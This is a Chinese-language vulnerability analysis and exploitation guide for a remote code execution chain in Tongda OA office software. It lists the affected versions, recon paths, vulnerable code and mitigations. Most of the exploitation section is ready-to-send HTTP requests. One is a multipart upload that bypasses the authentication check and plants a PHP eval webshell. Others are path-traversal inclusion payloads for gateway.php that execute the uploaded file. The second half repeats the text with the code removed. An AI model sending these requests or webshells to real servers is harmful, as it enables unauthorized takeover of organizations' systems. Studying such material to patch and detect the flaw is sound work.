通达OA RCE
字数 831 2025-08-09 23:12:43

通达OA远程代码执行漏洞分析与利用

漏洞概述

通达OA系统存在一个组合漏洞,通过任意文件上传结合文件包含漏洞,攻击者可以实现远程代码执行(RCE)。该漏洞影响多个版本的通达OA系统。

受影响版本

  • V11版
  • 2017版
  • 2016版
  • 2015版
  • 2013增强版
  • 2013版

信息收集

获取版本信息

可以通过以下文件获取系统版本信息:

inc/expired.php
inc/reg_trial.php
inc/reg_trial_submit.php

获取计算机名

通过访问以下文件可以获取计算机名:

resque/worker.php

漏洞原理

文件包含漏洞

不同版本的文件包含路径不同:

  • 2013版

    /ispirit/im/upload.php
    /ispirit/interface/gateway.php
    
  • 2017版

    /ispirit/im/upload.php
    /mac/gateway.php
    

文件包含漏洞源于inc/common.inc.php中的代码,该文件对所有GET、POST、COOKIE参数进行了过滤处理,同时存在变量覆盖的风险。

文件上传漏洞

上传接口位于:

http://[target]/ispirit/im/upload.php

上传功能的关键参数:

  • UPLOAD_MODE:必须设置为2
  • P:用于绕过身份验证检查
  • DEST_UID:可以为空,但UPLOAD_MODE必须为2
  • ATTACHMENT:上传的文件内容

漏洞利用

文件包含利用方式

通过向gateway.php发送POST请求,利用JSON参数包含任意文件:

POST /mac/gateway.php HTTP/1.1
Host: [target]
Content-Type: application/x-www-form-urlencoded

json={"url": "../../nginx/logs/oa.access.log"}

其他有效的payload变体:

json={"url": "../../nginx/logs/oa.access.log"}
json{}=&url=../../nginx/logs/oa.access.log
json{}=&url=../general/../../nginx/logs/oa.access.log

文件上传利用方式

POST /ispirit/im/upload.php HTTP/1.1
Host: [target]
Content-Length: 626
Content-Type: multipart/form-data; boundary=---123

---123
Content-Disposition: form-data; name="UPLOAD_MODE"

2
---123
Content-Disposition: form-data; name="P"

123
---123
Content-Disposition: form-data; name="DEST_UID"

1
---123
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php eval($_POST['pass']); ?>
---123

组合利用步骤

  1. 通过文件上传漏洞上传包含恶意代码的文件
  2. 通过文件包含漏洞包含上传的文件
  3. 实现远程代码执行

技术细节分析

文件包含漏洞分析

gateway.php中的关键代码:

if ($json) {
    $json = stripcslashes($json);
    $json = (array) json_decode($json);
    
    foreach ($json as $key => $val) {
        if ($key == "url") {
            $url = $val;
        }
    }
    
    if ($url != "") {
        include_once $url;
    }
    exit();
}

文件上传漏洞分析

上传流程的关键点:

  1. 绕过P参数检查
  2. 设置UPLOAD_MODE为2
  3. 上传文件通过ATTACHMENT参数

上传成功后,文件会被存储在服务器上,通常位于/attach/目录下。

防御措施

  1. 升级到最新版本的通达OA系统
  2. 对文件上传功能进行严格限制,包括文件类型检查和内容验证
  3. 禁用不必要的文件包含功能
  4. 对用户输入进行严格过滤
  5. 设置文件上传目录不可执行

参考

  • 本文档基于公开漏洞分析文章整理
  • 实际测试时请注意法律合规性
  • 建议在授权环境下进行漏洞验证
通达OA远程代码执行漏洞分析与利用 漏洞概述 通达OA系统存在一个组合漏洞,通过任意文件上传结合文件包含漏洞,攻击者可以实现远程代码执行(RCE)。该漏洞影响多个版本的通达OA系统。 受影响版本 V11版 2017版 2016版 2015版 2013增强版 2013版 信息收集 获取版本信息 可以通过以下文件获取系统版本信息: 获取计算机名 通过访问以下文件可以获取计算机名: 漏洞原理 文件包含漏洞 不同版本的文件包含路径不同: 2013版 : 2017版 : 文件包含漏洞源于 inc/common.inc.php 中的代码,该文件对所有GET、POST、COOKIE参数进行了过滤处理,同时存在变量覆盖的风险。 文件上传漏洞 上传接口位于: 上传功能的关键参数: UPLOAD_MODE :必须设置为2 P :用于绕过身份验证检查 DEST_UID :可以为空,但 UPLOAD_MODE 必须为2 ATTACHMENT :上传的文件内容 漏洞利用 文件包含利用方式 通过向 gateway.php 发送POST请求,利用JSON参数包含任意文件: 其他有效的payload变体: 文件上传利用方式 组合利用步骤 通过文件上传漏洞上传包含恶意代码的文件 通过文件包含漏洞包含上传的文件 实现远程代码执行 技术细节分析 文件包含漏洞分析 gateway.php 中的关键代码: 文件上传漏洞分析 上传流程的关键点: 绕过 P 参数检查 设置 UPLOAD_MODE 为2 上传文件通过 ATTACHMENT 参数 上传成功后,文件会被存储在服务器上,通常位于 /attach/ 目录下。 防御措施 升级到最新版本的通达OA系统 对文件上传功能进行严格限制,包括文件类型检查和内容验证 禁用不必要的文件包含功能 对用户输入进行严格过滤 设置文件上传目录不可执行 参考 本文档基于公开漏洞分析文章整理 实际测试时请注意法律合规性 建议在授权环境下进行漏洞验证